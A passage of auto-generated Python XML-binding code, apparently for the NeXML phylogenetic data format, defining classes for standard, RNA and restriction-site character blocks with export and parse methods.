id, otus, format, matrix, ) if meta is None: self.meta = [] else: self.meta = meta self.format = format self.matrix = matrix def factory(*args_, **kwargs_): if StandardCells.subclass: return StandardCells.subclass(*args_, **kwargs_) else: return StandardCells(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_format(self): return self.format def set_format(self, format): self.format = format def get_matrix(self): return self.matrix def set_matrix(self, matrix): self.matrix = matrix def export(self, outfile, level, namespace_='', name_='StandardCells', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='StandardCells') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='StandardCells'): super(StandardCells, self).exportAttributes(outfile, level, already_processed, namespace_, name_='StandardCells') def exportChildren(self, outfile, level, namespace_='', name_='StandardCells', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') if self.format: self.format.export(outfile, level, namespace_, name_='format', ) if self.matrix: self.matrix.export(outfile, level, namespace_, name_='matrix', ) def hasContent_(self): if ( self.meta or self.format is not None or self.matrix is not None or super(StandardCells, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='StandardCells'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(StandardCells, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(StandardCells, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') if self.format is not None: showIndent(outfile, level) outfile.write('format=model_.StandardFormat(\n') self.format.exportLiteral(outfile, level, name_='format') showIndent(outfile, level) outfile.write('),\n') if self.matrix is not None: showIndent(outfile, level) outfile.write('matrix=model_.StandardObsMatrix(\n') self.matrix.exportLiteral(outfile, level, name_='matrix') showIndent(outfile, level) outfile.write('),\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(StandardCells, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) elif nodeName_ == 'format': obj_ = StandardFormat.factory() obj_.build(child_) self.set_format(obj_) elif nodeName_ == 'matrix': obj_ = StandardObsMatrix.factory() obj_.build(child_) self.set_matrix(obj_) # end class StandardCells class StandardSeqs(AbstractSeqs): """A standard characters block consisting of sequences preceded by metadata.""" subclass = None superclass = AbstractSeqs def __init__(self, about=None, meta=None, label=None, id=None, otus=None, format=None, matrix=None, valueOf_=None): super(StandardSeqs, self).__init__(about, meta, label, id, otus, format, matrix, ) if meta is None: self.meta = [] else: self.meta = meta self.format = format self.matrix = matrix def factory(*args_, **kwargs_): if StandardSeqs.subclass: return StandardSeqs.subclass(*args_, **kwargs_) else: return StandardSeqs(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_format(self): return self.format def set_format(self, format): self.format = format def get_matrix(self): return self.matrix def set_matrix(self, matrix): self.matrix = matrix def export(self, outfile, level, namespace_='', name_='StandardSeqs', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='StandardSeqs') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='StandardSeqs'): super(StandardSeqs, self).exportAttributes(outfile, level, already_processed, namespace_, name_='StandardSeqs') def exportChildren(self, outfile, level, namespace_='', name_='StandardSeqs', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') if self.format: self.format.export(outfile, level, namespace_, name_='format', ) if self.matrix: self.matrix.export(outfile, level, namespace_, name_='matrix', ) def hasContent_(self): if ( self.meta or self.format is not None or self.matrix is not None or super(StandardSeqs, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='StandardSeqs'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(StandardSeqs, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(StandardSeqs, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') if self.format is not None: showIndent(outfile, level) outfile.write('format=model_.StandardFormat(\n') self.format.exportLiteral(outfile, level, name_='format') showIndent(outfile, level) outfile.write('),\n') if self.matrix is not None: showIndent(outfile, level) outfile.write('matrix=model_.StandardSeqMatrix(\n') self.matrix.exportLiteral(outfile, level, name_='matrix') showIndent(outfile, level) outfile.write('),\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(StandardSeqs, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) elif nodeName_ == 'format': obj_ = StandardFormat.factory() obj_.build(child_) self.set_format(obj_) elif nodeName_ == 'matrix': obj_ = StandardSeqMatrix.factory() obj_.build(child_) self.set_matrix(obj_) # end class StandardSeqs class StandardPolymorphicStateSet(AbstractPolymorphicStateSet): """The StandardPolymorphicStateSet type is a single polymorphic ambiguity mapping.""" subclass = None superclass = AbstractPolymorphicStateSet def __init__(self, about=None, meta=None, label=None, id=None, symbol=None, member=None, uncertain_state_set=None, valueOf_=None): super(StandardPolymorphicStateSet, self).__init__(about, meta, label, id, symbol, member, uncertain_state_set, ) if member is None: self.member = [] else: self.member = member if uncertain_state_set is None: self.uncertain_state_set = [] else: self.uncertain_state_set = uncertain_state_set def factory(*args_, **kwargs_): if StandardPolymorphicStateSet.subclass: return StandardPolymorphicStateSet.subclass(*args_, **kwargs_) else: return StandardPolymorphicStateSet(*args_, **kwargs_) factory = staticmethod(factory) def get_member(self): return self.member def set_member(self, member): self.member = member def add_member(self, value): self.member.append(value) def insert_member(self, index, value): self.member[index] = value def get_uncertain_state_set(self): return self.uncertain_state_set def set_uncertain_state_set(self, uncertain_state_set): self.uncertain_state_set = uncertain_state_set def add_uncertain_state_set(self, value): self.uncertain_state_set.append(value) def insert_uncertain_state_set(self, index, value): self.uncertain_state_set[index] = value def export(self, outfile, level, namespace_='', name_='StandardPolymorphicStateSet', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='StandardPolymorphicStateSet') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='StandardPolymorphicStateSet'): super(StandardPolymorphicStateSet, self).exportAttributes(outfile, level, already_processed, namespace_, name_='StandardPolymorphicStateSet') def exportChildren(self, outfile, level, namespace_='', name_='StandardPolymorphicStateSet', fromsubclass_=False): for member_ in self.member: member_.export(outfile, level, namespace_, name_='member') for uncertain_state_set_ in self.uncertain_state_set: uncertain_state_set_.export(outfile, level, namespace_, name_='uncertain_state_set') def hasContent_(self): if ( self.member or self.uncertain_state_set or super(StandardPolymorphicStateSet, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='StandardPolymorphicStateSet'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(StandardPolymorphicStateSet, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(StandardPolymorphicStateSet, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('member=[\n') level += 1 for member_ in self.member: showIndent(outfile, level) outfile.write('model_.StandardMapping(\n') member_.exportLiteral(outfile, level, name_='StandardMapping') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('uncertain_state_set=[\n') level += 1 for uncertain_state_set_ in self.uncertain_state_set: showIndent(outfile, level) outfile.write('model_.StandardUncertainStateSet(\n') uncertain_state_set_.exportLiteral(outfile, level, name_='StandardUncertainStateSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(StandardPolymorphicStateSet, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'member': obj_ = StandardMapping.factory() obj_.build(child_) self.member.append(obj_) elif nodeName_ == 'uncertain_state_set': obj_ = StandardUncertainStateSet.factory() obj_.build(child_) self.uncertain_state_set.append(obj_) # end class StandardPolymorphicStateSet class RnaCells(AbstractCells): """A RNA characters block consisting of granular cells preceded by metadata.""" subclass = None superclass = AbstractCells def __init__(self, about=None, meta=None, label=None, id=None, otus=None, format=None, matrix=None, valueOf_=None): super(RnaCells, self).__init__(about, meta, label, id, otus, format, matrix, ) if meta is None: self.meta = [] else: self.meta = meta self.format = format self.matrix = matrix def factory(*args_, **kwargs_): if RnaCells.subclass: return RnaCells.subclass(*args_, **kwargs_) else: return RnaCells(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_format(self): return self.format def set_format(self, format): self.format = format def get_matrix(self): return self.matrix def set_matrix(self, matrix): self.matrix = matrix def export(self, outfile, level, namespace_='', name_='RnaCells', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='RnaCells') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='RnaCells'): super(RnaCells, self).exportAttributes(outfile, level, already_processed, namespace_, name_='RnaCells') def exportChildren(self, outfile, level, namespace_='', name_='RnaCells', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') if self.format: self.format.export(outfile, level, namespace_, name_='format') if self.matrix: self.matrix.export(outfile, level, namespace_, name_='matrix', ) def hasContent_(self): if ( self.meta or self.format is not None or self.matrix is not None or super(RnaCells, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='RnaCells'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(RnaCells, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(RnaCells, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') if self.format is not None: showIndent(outfile, level) outfile.write('format=model_.RNAFormat(\n') self.format.exportLiteral(outfile, level, name_='format') showIndent(outfile, level) outfile.write('),\n') if self.matrix is not None: showIndent(outfile, level) outfile.write('matrix=model_.RNAObsMatrix(\n') self.matrix.exportLiteral(outfile, level, name_='matrix') showIndent(outfile, level) outfile.write('),\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(RnaCells, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) elif nodeName_ == 'format': obj_ = RNAFormat.factory() obj_.build(child_) self.set_format(obj_) elif nodeName_ == 'matrix': obj_ = RNAObsMatrix.factory() obj_.build(child_) self.set_matrix(obj_) # end class RnaCells class RnaSeqs(AbstractSeqs): """A RNA characters block consisting of sequences preceded by metadata.""" subclass = None superclass = AbstractSeqs def __init__(self, about=None, meta=None, label=None, id=None, otus=None, format=None, matrix=None, valueOf_=None): super(RnaSeqs, self).__init__(about, meta, label, id, otus, format, matrix, ) if meta is None: self.meta = [] else: self.meta = meta self.format = format self.matrix = matrix def factory(*args_, **kwargs_): if RnaSeqs.subclass: return RnaSeqs.subclass(*args_, **kwargs_) else: return RnaSeqs(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_format(self): return self.format def set_format(self, format): self.format = format def get_matrix(self): return self.matrix def set_matrix(self, matrix): self.matrix = matrix def export(self, outfile, level, namespace_='', name_='RnaSeqs', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='RnaSeqs') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='RnaSeqs'): super(RnaSeqs, self).exportAttributes(outfile, level, already_processed, namespace_, name_='RnaSeqs') def exportChildren(self, outfile, level, namespace_='', name_='RnaSeqs', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') if self.format: self.format.export(outfile, level, namespace_, name_='format', ) if self.matrix: self.matrix.export(outfile, level, namespace_, name_='matrix', ) def hasContent_(self): if ( self.meta or self.format is not None or self.matrix is not None or super(RnaSeqs, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='RnaSeqs'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(RnaSeqs, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(RnaSeqs, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') if self.format is not None: showIndent(outfile, level) outfile.write('format=model_.RNAFormat(\n') self.format.exportLiteral(outfile, level, name_='format') showIndent(outfile, level) outfile.write('),\n') if self.matrix is not None: showIndent(outfile, level) outfile.write('matrix=model_.RNASeqMatrix(\n') self.matrix.exportLiteral(outfile, level, name_='matrix') showIndent(outfile, level) outfile.write('),\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(RnaSeqs, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) elif nodeName_ == 'format': obj_ = RNAFormat.factory() obj_.build(child_) self.set_format(obj_) elif nodeName_ == 'matrix': obj_ = RNASeqMatrix.factory() obj_.build(child_) self.set_matrix(obj_) # end class RnaSeqs class RNAPolymorphicStateSet(AbstractPolymorphicStateSet): """The RNAPolymorphicStateSet describes a single polymorphic IUPAC ambiguity mapping.""" subclass = None superclass = AbstractPolymorphicStateSet def __init__(self, about=None, meta=None, label=None, id=None, symbol=None, member=None, uncertain_state_set=None, valueOf_=None): super(RNAPolymorphicStateSet, self).__init__(about, meta, label, id, symbol, member, uncertain_state_set, ) self.symbol = _cast(None, symbol) if member is None: self.member = [] else: self.member = member if uncertain_state_set is None: self.uncertain_state_set = [] else: self.uncertain_state_set = uncertain_state_set def factory(*args_, **kwargs_): if RNAPolymorphicStateSet.subclass: return RNAPolymorphicStateSet.subclass(*args_, **kwargs_) else: return RNAPolymorphicStateSet(*args_, **kwargs_) factory = staticmethod(factory) def get_member(self): return self.member def set_member(self, member): self.member = member def add_member(self, value): self.member.append(value) def insert_member(self, index, value): self.member[index] = value def get_uncertain_state_set(self): return self.uncertain_state_set def set_uncertain_state_set(self, uncertain_state_set): self.uncertain_state_set = uncertain_state_set def add_uncertain_state_set(self, value): self.uncertain_state_set.append(value) def insert_uncertain_state_set(self, index, value): self.uncertain_state_set[index] = value def get_symbol(self): return self.symbol def set_symbol(self, symbol): self.symbol = symbol def validate_RNAToken(self, value): # Validate type RNAToken, a restriction on AbstractSymbol. pass def export(self, outfile, level, namespace_='', name_='RNAPolymorphicStateSet', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='RNAPolymorphicStateSet') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='RNAPolymorphicStateSet'): super(RNAPolymorphicStateSet, self).exportAttributes(outfile, level, already_processed, namespace_, name_='RNAPolymorphicStateSet') if self.symbol is not None and 'symbol' not in already_processed: already_processed.append('symbol') outfile.write(' symbol=%s' % (quote_attrib(self.symbol), )) def exportChildren(self, outfile, level, namespace_='', name_='RNAPolymorphicStateSet', fromsubclass_=False): for member_ in self.member: member_.export(outfile, level, namespace_, name_='member') for uncertain_state_set_ in self.uncertain_state_set: uncertain_state_set_.export(outfile, level, namespace_, name_='uncertain_state_set') def hasContent_(self): if ( self.member or self.uncertain_state_set or super(RNAPolymorphicStateSet, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='RNAPolymorphicStateSet'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.symbol is not None and 'symbol' not in already_processed: already_processed.append('symbol') showIndent(outfile, level) outfile.write('symbol = "%s",\n' % (self.symbol,)) super(RNAPolymorphicStateSet, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(RNAPolymorphicStateSet, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('member=[\n') level += 1 for member_ in self.member: showIndent(outfile, level) outfile.write('model_.RNAMapping(\n') member_.exportLiteral(outfile, level, name_='RNAMapping') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('uncertain_state_set=[\n') level += 1 for uncertain_state_set_ in self.uncertain_state_set: showIndent(outfile, level) outfile.write('model_.RNAUncertainStateSet(\n') uncertain_state_set_.exportLiteral(outfile, level, name_='RNAUncertainStateSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('symbol', node) if value is not None and 'symbol' not in already_processed: already_processed.append('symbol') self.symbol = value self.validate_RNAToken(self.symbol) # validate type RNAToken super(RNAPolymorphicStateSet, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'member': obj_ = RNAMapping.factory() obj_.build(child_) self.member.append(obj_) elif nodeName_ == 'uncertain_state_set': obj_ = RNAUncertainStateSet.factory() obj_.build(child_) self.uncertain_state_set.append(obj_) # end class RNAPolymorphicStateSet class RestrictionCells(AbstractCells): """A standard characters block consisting of granular cells preceded by metadata.""" subclass = None superclass = AbstractCells def __init__(self, about=None, meta=None, label=None, id=None, otus=None, format=None, matrix=None, valueOf_=None): super(RestrictionCells, self).__init__(about, meta, label, id, otus, format, matrix, ) if meta is None: self.meta = [] else: self.meta = meta self.format = format self.matrix = matrix def factory(*args_, **kwargs_): if RestrictionCells.subclass: return RestrictionCells.subclass(*args_, **kwargs_) else: return RestrictionCells(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_format(self): return self.format def set_format(self, format): self.format = format def get_matrix(self): return self.matrix def set_matrix(self, matrix): self.matrix = matrix def export(self, outfile, level, namespace_='', name_='RestrictionCells', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='RestrictionCells') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='RestrictionCells'): super(RestrictionCells, self).exportAttributes(outfile, level, already_processed, namespace_, name_='RestrictionCells') def exportChildren(self, outfile, level, namespace_='', name_='RestrictionCells', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') if self.format: self.format.export(outfile, level, namespace_, name_='format', ) if self.matrix: self.matrix.export(outfile, level, namespace_, name_='matrix', ) def hasContent_(self): if ( self.meta or self.format is not None or self.matrix is not None or super(RestrictionCells, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='RestrictionCells'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(RestrictionCells, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(RestrictionCells, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') if self.format is not None: showIndent(outfile, level) outfile.write('format=model_.RestrictionFormat(\n') self.format.exportLiteral(outfile, level, name_='format') showIndent(outfile, level) outfile.write('),\n') if self.matrix is not None: showIndent(outfile, level) outfile.write('matrix=model_.RestrictionObsMatrix(\n') self.matrix.exportLiteral(outfile, level, name_='matrix') showIndent(outfile, level) outfile.write('),\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(RestrictionCells, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) elif nodeName_ == 'format': obj_ = RestrictionFormat.factory() obj_.build(child_) self.set_format(obj_) elif nodeName_ == 'matrix': obj_ = RestrictionObsMatrix.factory() obj_.build(child_) self.set_matrix(obj_) # end class RestrictionCells class RestrictionSeqs(AbstractSeqs): """A restriction site characters block consisting of sequences preceded by metadata.""" subclass = None superclass = AbstractSeqs def __init__(self, about=None, meta=None, label=None, id=None, otus=None, format=None, matrix=None, valueOf_=None): super(RestrictionSeqs, self).__init__(about, meta, label, id, otus, format, matrix, ) if meta is None: self.meta = [] else: self.meta = meta self.format = format self.matrix = matrix def factory(*args_, **kwargs_): if RestrictionSeqs.subclass: return RestrictionSeqs.subclass(*args_, **kwargs_) else: return RestrictionSeqs(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_format(self): return self.format def set_format(self, format): self.format = format def get_matrix(self): return self.matrix def set_matrix(self, matrix): self.matrix = matrix def export(self, outfile, level, namespace_='', name_='RestrictionSeqs', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='RestrictionSeqs') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='RestrictionSeqs'): super(RestrictionSeqs, self).exportAttributes(outfile, level, already_processed, namespace_, name_='RestrictionSeqs') def exportChildren(self, outfile, level, namespace_='', name_='RestrictionSeqs', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') if self.format: self.format.export(outfile, level, namespace_, name_='format', ) if self.matrix: self.matrix.export(outfile, level, namespace_, name_='matrix', ) def hasContent_(self): if ( self.meta or self.format is not None or self.matrix is not None or super(RestrictionSeqs, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='RestrictionSeqs'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(RestrictionSeqs, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(RestrictionSeqs, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') if self.format is not None: showIndent(outfile, level) outfile.write('format=model_.RestrictionFormat(\n') self.format.exportLiteral(outfile, level, name_='format') 